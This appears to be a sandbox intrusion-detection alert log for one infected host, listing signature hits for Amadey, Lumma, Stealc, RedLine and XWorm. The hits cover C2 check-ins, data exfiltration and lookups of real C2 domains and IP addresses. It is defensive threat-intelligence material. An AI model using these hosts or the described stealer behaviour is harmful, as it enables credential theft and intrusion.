2024-12-14T15:02:33.302983+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:48.489294+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50508	185.81.68.147	80	TCP
2024-12-14T15:02:52.155059+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:55.809143+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:57.774626+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50516	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:20.196400+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:25.730981+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:49.281893+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:54.621032+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:56.474698+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50590	185.81.68.147	80	TCP

ET MALWARE UPX compressed file download possible malware

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:31.289239+0100	2001046	3	Misc activity	185.81.68.147	80	192.168.2.5	49888	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:14.678897+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49839	185.215.113.43	80	TCP
2024-12-14T14:56:24.843036+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49871	185.215.113.43	80	TCP
2024-12-14T14:56:38.035080+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49907	185.215.113.43	80	TCP
2024-12-14T14:56:45.230013+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49930	185.215.113.43	80	TCP
2024-12-14T14:56:52.838603+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49958	185.215.113.43	80	TCP
2024-12-14T14:57:01.810625+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50004	185.215.113.43	80	TCP
2024-12-14T14:57:12.597863+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50064	185.215.113.43	80	TCP
2024-12-14T14:57:36.517888+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50185	185.215.113.43	80	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:38.836951+0100	2045001	1	Malware Command and Control Activity Detected	107.189.17.186	28269	192.168.2.5	50155	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:56.208314+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.5	56945	1.1.1.1	53	UDP
2024-12-14T14:57:04.525133+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.5	52097	1.1.1.1	53	UDP
2024-12-14T14:57:59.535123+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.5	64897	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:56.625731+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.5	54327	1.1.1.1	53	UDP
2024-12-14T14:57:04.736616+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.5	60863	1.1.1.1	53	UDP
2024-12-14T14:57:59.674777+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.5	51263	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:55.574043+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.5	49670	1.1.1.1	53	UDP
2024-12-14T14:57:04.043974+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.5	53296	1.1.1.1	53	UDP
2024-12-14T14:57:59.255622+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.5	59299	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:00.648112+0100	2058159	1	Domain Observed Used for C2 Detected	192.168.2.5	62719	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:55.813008+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.5	65186	1.1.1.1	53	UDP
2024-12-14T14:57:04.205697+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.5	58777	1.1.1.1	53	UDP
2024-12-14T14:57:59.396222+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.5	58135	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:57.154650+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.5	53091	1.1.1.1	53	UDP
2024-12-14T14:57:05.095882+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.5	58279	1.1.1.1	53	UDP
2024-12-14T14:58:00.046623+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.5	51592	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:56.922031+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.5	61474	1.1.1.1	53	UDP
2024-12-14T14:57:04.880792+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.5	63226	1.1.1.1	53	UDP
2024-12-14T14:57:59.814807+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.5	52728	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:54.679411+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.5	63673	1.1.1.1	53	UDP
2024-12-14T14:57:03.278852+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.5	63712	1.1.1.1	53	UDP
2024-12-14T14:57:58.971844+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.5	62695	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:55.342339+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.5	57652	1.1.1.1	53	UDP
2024-12-14T14:57:03.898944+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.5	57380	1.1.1.1	53	UDP
2024-12-14T14:57:59.116432+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.5	50748	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:03.522465+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	50005	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:03.215448+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	50005	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:03.843204+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	50005	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:05.657451+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	50005	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:04.168949+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	50005	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:24.282627+0100	2046045	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:02.765394+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:58:06.327173+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50238	185.215.113.206	80	TCP
2024-12-14T14:58:14.267316+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50250	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:18.506651+0100	2856121	1	A Network Trojan was detected	192.168.2.5	50120	185.215.113.43	80	TCP
2024-12-14T14:57:24.573530+0100	2856121	1	A Network Trojan was detected	192.168.2.5	50150	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:05.610703+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49816	185.215.113.43	80	TCP
2024-12-14T15:01:18.590809+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50422	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:08.109732+0100	2856148	1	A Network Trojan was detected	192.168.2.5	50033	185.81.68.148	80	TCP
2024-12-14T15:00:50.557113+0100	2856148	1	A Network Trojan was detected	192.168.2.5	50395	185.81.68.148	80	TCP
2024-12-14T15:03:55.648466+0100	2856148	1	A Network Trojan was detected	192.168.2.5	50565	185.81.68.148	80	TCP

ETPRO MALWARE Amadey CnC Activity M6

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:20.059352+0100	2856150	1	A Network Trojan was detected	192.168.2.5	50125	185.81.68.148	80	TCP
2024-12-14T14:57:30.708975+0100	2856150	1	A Network Trojan was detected	192.168.2.5	50168	185.81.68.148	80	TCP

ETPRO MALWARE Amadey CnC Activity M7

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:33.264950+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50178	185.81.68.148	80	TCP
2024-12-14T14:57:33.387394+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50179	185.81.68.148	80	TCP
2024-12-14T14:57:40.684909+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50191	185.81.68.148	80	TCP
2024-12-14T14:57:45.880893+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50210	185.81.68.148	80	TCP
2024-12-14T14:57:45.884552+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50211	185.81.68.148	80	TCP
2024-12-14T14:57:50.928656+0100	2856151	1	A Network Trojan was detected	192.168.2.5	50218	185.81.68.148	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:13.332936+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49827	TCP
2024-12-14T14:57:35.136995+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50170	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:10.075935+0100	2803305	3	Unknown Traffic	192.168.2.5	49828	31.41.244.11	80	TCP
2024-12-14T14:56:16.152003+0100	2803305	3	Unknown Traffic	192.168.2.5	49846	31.41.244.11	80	TCP
2024-12-14T14:56:26.565226+0100	2803305	3	Unknown Traffic	192.168.2.5	49876	31.41.244.11	80	TCP
2024-12-14T14:56:39.618737+0100	2803305	3	Unknown Traffic	192.168.2.5	49913	31.41.244.11	80	TCP
2024-12-14T14:56:47.165119+0100	2803305	3	Unknown Traffic	192.168.2.5	49935	185.215.113.16	80	TCP
2024-12-14T14:56:54.433520+0100	2803305	3	Unknown Traffic	192.168.2.5	49964	185.215.113.16	80	TCP
2024-12-14T14:57:03.397512+0100	2803305	3	Unknown Traffic	192.168.2.5	50016	185.215.113.16	80	TCP
2024-12-14T14:57:10.634538+0100	2803305	3	Unknown Traffic	192.168.2.5	50032	185.81.68.147	80	TCP
2024-12-14T14:57:11.272863+0100	2803305	3	Unknown Traffic	192.168.2.5	50057	185.81.68.147	80	TCP
2024-12-14T14:57:14.224580+0100	2803305	3	Unknown Traffic	192.168.2.5	50080	31.41.244.11	80	TCP
2024-12-14T14:57:14.705614+0100	2803305	3	Unknown Traffic	192.168.2.5	50057	185.81.68.147	80	TCP
2024-12-14T14:57:20.049882+0100	2803305	3	Unknown Traffic	192.168.2.5	50126	31.41.244.11	80	TCP
2024-12-14T14:57:28.019002+0100	2803305	3	Unknown Traffic	192.168.2.5	50158	185.81.68.147	80	TCP
2024-12-14T14:57:28.022562+0100	2803305	3	Unknown Traffic	192.168.2.5	50157	185.81.68.147	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:06.097723+0100	2803304	3	Unknown Traffic	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:37.338931+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:39.626950+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:41.530753+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:42.889026+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:49.839913+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:51.105267+0100	2803304	3	Unknown Traffic	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:56.495679+0100	2803304	3	Unknown Traffic	192.168.2.5	50226	185.215.113.16	80	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:27.223747+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.5	50155	107.189.17.186	28269	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:32.924057+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.5	50155	107.189.17.186	28269	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:42.114982+0100	2848200	1	Malware Command and Control Activity Detected	192.168.2.5	50155	107.189.17.186	28269	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:39.322947+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.5	50155	107.189.17.186	28269	TCP

ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:18.506981+0100	2855239	1	A Network Trojan was detected	192.168.2.5	50121	185.81.68.147	80	TCP
2024-12-14T14:57:20.059352+0100	2855239	1	A Network Trojan was detected	192.168.2.5	50125	185.81.68.148	80	TCP
2024-12-14T14:57:29.234344+0100	2855239	1	A Network Trojan was detected	192.168.2.5	50162	185.81.68.147	80	TCP
2024-12-14T14:57:30.708975+0100	2855239	1	A Network Trojan was detected	192.168.2.5	50168	185.81.68.148	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:00.092898+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49977	23.55.153.106	443	TCP
2024-12-14T14:57:07.747070+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50036	23.55.153.106	443	TCP
2024-12-14T14:58:02.759877+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50233	23.55.153.106	443	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:48.307405+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:18.506961+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:48.518303+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:18.503526+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:48.876249+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:18.488352+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:48.470974+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:18.459284+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:48.777683+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:18.319964+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:48.477726+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:18.655914+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:49.010389+0100	2852870	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:54.163111+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:24.167060+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:54.192342+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:24.219894+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:54.239553+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:24.277173+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:54.287485+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:24.313258+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:54.328188+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:24.361445+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:54.373573+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:24.392038+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:54.410301+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:48.307405+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:18.506961+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:48.518303+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:18.503526+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:48.876249+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:18.488352+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:48.470974+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:18.459284+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:48.777683+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:18.319964+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:48.477726+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:18.655914+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:49.010389+0100	2852874	1	Malware Command and Control Activity Detected	107.189.17.186	7000	192.168.2.5	50165	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:54.163111+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:24.167060+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:54.192342+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:24.219894+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
